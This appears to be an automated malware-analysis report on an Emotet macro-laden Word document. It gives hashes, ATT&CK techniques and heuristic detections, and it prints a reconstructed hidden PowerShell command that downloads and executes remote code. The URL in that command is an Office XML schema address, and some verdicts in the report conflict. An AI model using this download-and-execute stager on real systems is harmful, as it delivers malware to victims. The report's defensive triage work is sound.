Emotet Office (OLE) malware analysis — malicious · 9558bbbb8facaeeb

MALICIOUS

Office (OLE)

153.4 KB Created: 2020-09-15 09:11:00 Authoring application: Microsoft Office Word

MD5: 0b78cbd19ea8e1bb630f6b160015943a SHA-1: 6cef9037f86fb368ed59ae5fbdf4442d7b1830c0 SHA-256: 9558bbbb8facaeebb9539a63e639acd60d8fffdaa69c92c05ceb23e26e61c41b

300 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. A critical heuristic identified an obfuscated PowerShell stager within a UserForm, and another critical heuristic flagged it as ClamAV: Doc.Dropper.Emotet-9761056-0. The Document_Open macro initiates the execution of a PowerShell command that appears to download and execute a second-stage payload from a benign-looking URL, which is likely a lure. The reconstructed PowerShell command is: powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://schemas.openxmlformats.org/drawingml/2006/main'). This indicates a dropper functionality consistent with Emotet.

Heuristics 8

Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL

OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
ClamAV: Doc.Dropper.Emotet-9761056-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Emotet-9761056-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `b4e7e6a496a33a5d51b25c403e1165bdc88602f70d8eedc62b6d635ba4d9d28a`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22614 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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